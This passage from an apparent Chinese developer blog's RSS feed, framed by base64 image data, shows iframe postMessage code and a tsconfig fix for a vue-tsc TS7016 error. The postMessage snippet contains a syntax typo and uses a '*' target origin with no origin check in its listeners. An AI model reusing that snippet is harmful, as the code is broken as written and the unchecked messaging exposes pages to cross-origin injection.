aDMBFO4kFdrNoxodrrk8PTq4vJyf3ptoglW7kHlZvuwvk0TKw10CH6DZcvpvWTLQ02uTjd1jCaaZXyAtuN0/c6JV/qZnDsovSoqKH42BR+KysH7D71sScONntdYp9Ia2mzUgj1e9FUawOLa7RNxBgG1nAtYst9GF39hikrZiYBEiABEiABEiABEnimBMaowVKIRrQNxsHsetVJquioycnF++5+sr2XFhleHXpbqX4QKv6tazDbcMKXHUqkKxovkSt7lSsNnSSQWl9lHkG7mm5t+ShUBZjel7P3wSKlEHODgFtRZ/FR9ECjCW3dG10spdFKV4qcQl/hx6ZKQd2F1ylztalGvhbR7fd3usA72LFDcsrKQ9zt0HJme3Ik3SWZYU+OXCR7u02nmEgCJEACJEACJEACJPCiCIxOgwUxELa4mJxc7Lru8vV4IC2W66pQVRAtKPNgOaLrqLTjRXoZLN8gxGwTORQWMUqYy9b4+QJFf3/MX8Gy0FntQku6hNfACmPU4L3Tk0MIxAVLwsYhAZRzC8VjdG5oE6Y6lrto6bpC56D7DU1VtYt58DrWU1dearAQuRKlB3op5JENP8LLXa6XCg2mL4PlwswqzNWaYF95oCIcXpMACZAACZAACZAACTwbAuPTYNW0e1SsPQ42IjthCeKIrBIx05IiupBPTTUpVV/UXW95iuWLktPDU66j6ho2kdISn5toV5GyLRIgARIgARIgARIggTETeD4azONOGi968yc7f2HXemFxquV6ZY0arIhQpfjV+yX0w4NosAbP13/5Y8WYNi95PWePR3yV7ls/+FlSULpiEFcerng9hVWOK1a1SvGf/Px/hrMKLEa6RG+yCAmQAAmQAAmQANoik9sAACAASURBVAmQwDMn8Hw02HKaiqVIgARIgARIgARIgARIgARIYJMEqMGeucje5GBiWyRAAiRAAiRAAiRAAiRAAnMJUINRg5EACZAACZAACZAACZAACZDA5gi8aA3W3B5wrmxlhsEE7g7s+Kynul3Eg7xrNxjg5h4ENIkESIAESIAESIAESGBjBJ6KBhs4FbZt4gdsiuDnesWZbnl01Up9oFuWF9ud13V+OT+bm2faNQ8UrifoQ12w3dgPbrESkUxpRwrYur22uZlidcK272PRYHFb+bmckwuF7+U4QWK8JgESIAESIAESIAESIIGFCTwrDX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AESIAESIAESIAExkVghBrs6jDGu+TfBTWYaqHw5lWY6KveEA2g1xgawmvXCTCbN6mD3zYT41rEoLhCsCjJEldNoQaTSfk4EMvTArwojb6ENYHptbFkj5RNig6UjMqn8G6YNxp1TtAzSclo04HDO11jGYuHf9VUBYUuV9egwSL2Ui/lDhpSsLyqsyziIcFYPK5mtKp4QQIkQAIkQAIkQAIkQAJPkMDoNJisPJxchdn5onEwkCgSL6o0mM7gUXfNffepJbdUq1T9rZmzcI1pJHFKbajkhxXBylU1SUNBTWm4SRrKdgc53jr6W11ymTauiBtaYOvqOErE1ESoUN/C6jUSNZISNggDldgiGiyPsCENtITXJEACJEACJEACJEACJPCUCIxRg8XXwKbXkzwOZjGxPr4+Rw+KotRgJrdUimRL+6Zpj0HVISotVFZ5o3WKCio3wNrC1YPZph1afyorixI9cqUL81yPlREhKI4qSy1xgQTWZualJqxdj31JNl8/GZSVf/R2vQltNPKMXgRcoaz6ogBrDdbMJg3llgxShtqK28kUEiABEiABEiABEiABEhgXgdFpsKntyTE5gffBus+n28P35Hh7fuNxMIsXtYJIqBCCcnMNFj5mMaUgNlwXJe0RJESMSkFtoh/KxEpFQBOldMnKwmtjkp6v+putwaZxTWOAAFLKttZo+augxMHgHRS04esaDLwA8aZlnQmAEi+slVKDmW1YmwtIkHxmDC9IgARIgARIgARIgARI4MkQGJ8GW28Ew8M73iUQB/NEzuwXI9ACu1gN6+1o1kYCJEACJEACJEACJEACT4TA89Fg/+LH+SHIIfJj+3DEsNLWznFccxgDO5bIi4EE4KTpFEAbWHC92b71g59R75EACZAACZAACZAACZDAEyXwfDTYE+0Amk0CJEACJEACJEACJEACJPCiCGz90zffvCiH6SwJkAAJkAAJkAAJkAAJkAAJPCKBrT/yPxIgARIgARIgARIgARIgARIg6e8GQgAAAW5JREFUgU0RoAbbFGm2QwIkQAIkQAIkQAIkQAIkQAJ//CM1GEcBCZAACZAACZAACZAACZAACWyOADXY5lizJRIgARIgARIgARIgARIgARKgBuMYIAESIAESIAESIAESIAESIIHNEaAG2xxrtkQCJEACJEACJEACJEACJEAC1GAcAyRAAiRAAiRAAiRAAiRAAiSwOQLUYJtjzZZIgARIgARIgARIgARIgARIgBqMY+BJE/j119/+9td/96RdoPHPmMDvfrn37R/+9e+esYd0jQRIgARIgARIYAkCK2uwv/v62/bfV79ewoKyiFa42sTl119/++sZ1vzur3+Y1z8nf2mkf/7119/+4S//0T7LlGs1SSCiQv+b5YI1mV+s4khodu+XDzhh/Mdf/nDN9a9Zg/3ur3+Y4K9lMOd90/q0QH/9+qt6aC1QvNV6X9paqtWRvOYe77PZ01ug/NvNXlGDbZY3WyMBEiABEiCBJ0Lg/wOzI6tViyHTJgAAAABJRU5ErkJggg==" alt="" /></p><p><strong>解决方案：</strong></p><blockquote><pre style="margin-top: 0px; margin-bottom: 0px; padding: 0px; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; font-family: &quot;Courier New&quot;, serif; overflow-wrap: break-word;">//主页面 向 iframe传递事件//主页面<br style="margin: 0px; padding: 0px;" /><br style="margin: 0px; padding: 0px;" />var frame = document.getElementById('iframeId');frame.contentWindow.postMessage(object,'*');<br style="margin: 0px; padding: 0px;" /><br style="margin: 0px; padding: 0px;" />//iframe页面iframe: window.addEventListener('message',function(event){    //此处执行事件})<br type="_moz" /></pre></blockquote><blockquote><pre style="margin-top: 0px; margin-bottom: 0px; padding: 0px; transition-duration: 0.2s; transition-property: background, font-size, border-color, border-radius, border-width, padding, margin, color; overflow: auto; font-family: &quot;Courier New&quot;, serif; overflow-wrap: break-word;">//iframe向主页面传递事件<br style="margin: 0px; padding: 0px;" /><br style="margin: 0px; padding: 0px;" />//iframe页面window.parent.postMessage(object,'*');//主页面window.addEventListener('message',,function(event){         //此处执行事件})</pre></blockquote>]]></description><category>Javascript</category><comments>http://camnpr.com/javascript/2297.html#comment</comments><wfw:comment>http://camnpr.com/</wfw:comment><wfw:commentRss>http://camnpr.com/feed.asp?cmt=2297</wfw:commentRss><trackback:ping>http://camnpr.com/cmd.asp?act=tb&amp;id=2297&amp;key=19d143bf</trackback:ping></item><item><title>vue build报错：Could not find a declaration file for module '../package/dist/vue-web-component-wrapper.es.js'. /package/dist/vue-web-component-wrapper.es.js' implicitly has an 'any' type</title><author>camnpr@163.com (camnpr)</author><link>http://camnpr.com/javascript/2296.html</link><pubDate>Sat, 13 Jan 2024 14:37:28 +0800</pubDate><guid>http://camnpr.com/javascript/2296.html</guid><description><![CDATA[<blockquote><p>&nbsp;D:\Camnpr git:[dev]</p><p>npm run build</p><p>&gt; vite1@1.0.0 build</p><p>&gt; pnpm run type-check &amp;&amp; pnpm run build-only</p><p>&gt; vite1@1.0.0 type-check D:\Camnpr&nbsp;</p><p>&gt; vue-tsc --noEmit</p><p>src/main.ts:10:33 - error TS7016: Could not find a declaration file for module '../package/dist/vue-web-component-wrapper.es.js'. 'D:/Camnpr/package/dist/vue-web-component-wrapper.es.js' implicitly has an 'any' type.</p><p>10 import createWebComponent&nbsp; from '../package/dist/vue-web-component-wrapper.es.js'</p><p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p><p>Found 1 error in src/main.ts:10</p><p>&thinsp;ELIFECYCLE&thinsp; Command failed with exit code 2.</p><p>&nbsp;</p></blockquote><p><strong>解决方案：</strong></p><p><span style="color: rgb(31, 31, 31); font-family: consolas, &quot;lucida console&quot;, &quot;courier new&quot;, monospace; white-space-collapse: preserve;">在tsconfig.json文件中添加配置：</span></p><p>&nbsp;</p><div style="background-color:#1e1f22;color:#bcbec4"><pre style="font-family:'JetBrains Mono',monospace;font-size:10.5pt;"><span style="color:#c77dbb;">&quot;noImplicitAny&quot;</span>: <span style="color:#cf8e6d;">false</span>,<br /><span style="color:#c77dbb;">&quot;allowJs&quot;</span>: <span style="color:#cf8e6d;">true</span></pre></div><p><span style="color: rgb(31, 31, 31); font-family: consolas, &quot;lucida console&quot;, &quot;courier new&quot;, monospace; white-space-collapse: preserve;">配置后，使用import &quot;xxx&quot; from &quot;xxx&quot; 语句也不会报错了。</span></p><p><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAsoAAAF1CAIAAAB+gFsqAAAgAElEQVR4Aey96VtaWbr333/C73pe/U6fXpuzgWYqxgZUaBFwOAgizrPHWREVCBpnrAymkpjEpDJUW5krJqkkxlSS0miCplKJiTnV3VX96jnvnvP+uc75H87vtwe2CBtERES9r2tf+1ou1nCvz9qyvtzrXvA7jMOFCwgAASAABIAAEAACSSTwuyS2BU0BASAABIAAEAACQADjcEFegPMGCAABIAAEgAAQSDIBkBdJBgqiFQgAASAABIAAEAB5AfICCAABIAAEgAAQSDIBkBdJBgqKFQgAASAABIAAEAB5AfICCAABIAAEgAAQSDIBkBdJBgqKFQgAASAABIAAEAB5AfICCAABIAAEgAAQSDIBkBdJBgqKFQgAASAABIAAEAB5AfICCAABIAAEgAAQSDIBkBdJBgqKFQgAASAABIAAEAB5AfICCAABIAAEgAAQSDIBkBdJBgqKFQgAASAABIAAEAiXF4ov9AMNV6fdy9X/6q7+V/e0e3mg4ariCz2QSh8CMEfpMxdgCRBIOgGtIvdrb+DHM//XVXnGVXnmxzP/92tvQKvITXpH0GCcBCQZpbldLyzeD6xXbtcLSUZpnE0dnmKKrpJweTHecqfJPsLniSkKfJ64qXhkvOXO7kFBWL7x+P+2FuK71AXSnqy4EjBqd6v9XTI7RrMHb45iDDb+l+BBip8VlGQIoNpLgQdDBiyN3h+uD30eqL8m4H9BGSngf3G04ZsbQ58Zm1OfQFixdeZ/jvzwP5Vt37Y/+0+rfmtcSH89zpKpH852ezR3PmcVFkymufP5dtuMUf5grFm4RLxJXuD4H7/2Br4Qa0NHLhFpvvYGcPyPoZlJTMOqsC2YB2aOENZhTarsgwcpngeJJ84QqW2iP9mwf+FR5fmSLDqHQ28U8oQqgcLM2hrCTL4H71be/kxdzMIcnr96qSa4YFMvBaYbmAa3Lrz6yJezaQFDWMO51XdUdzGqM13En0g3eYHjwldT/62U/jl0CIov9K+m/pvLFYZmpjIt6/tP78kBjMONXzTEX3KHA9H92aTW6kIbUWt1uj+bQnN2mGZkRIzEDrsIrX4w5EX4D7JTS5dE9KfQoUpEf9rX8iJ0LAcgfZDmSNwYqGjMT9ak7La8SJade9vOnyw+6i1SpLZRlhia7lq8H/7V844xTG5qz2n+jvkzNEEt7edq6bW/ZvodpRvC8jdVyRmaffBoNkJwMI2g2ksrb3+m/qTaIcoPbFoeDAOPVt7+HCovmOqhfSWQTk95If8iM3Qs8i8yY8sLyrtQVb5Jk4W2sMO0/uT/tPcV77CRXaquVGq7+/o1GfQOviZD393Xr1Ru+pC8w66jqQr7wMZ2yQ67SKB6+r/jbfJeSISqS543f+RLQ4f6R770kueNWKgKzUxiOv0ZJXGwO2/qIM0RIdKPnxQHP+buEA48SPEAZORFZvkZjMPlf/Fn6q0zMXlBrM2kWyKGvDAMEFqhZvodIwgiC6OcIUp/0C8N0H9SIyIzH/kG6F2MyOrxDDxamXSTFzJxxuLZ/wp7vxUJlItn/0sm2aQ5Qkd0mOUFxuEq/5TR3dev1urUWh2hLf6UEQpn52mL98PSyufPn/+dupZXPxf1f5j94fPL15+XVj63T360eD/svJfttpD+73gb8qKj9PhI8806a3/kIOus/SPNNztKj0e+RLjL6OCJDuuV/9189T+ar/4HE0hBOnkiMgmvOJ1Z0ZgfrE7obqp8k7eDSYc3GKzbdCVgbLzTFFycSE/7RpuhdpJt3tGQa5i4MUA12HSFzgmtuDmTaJ8q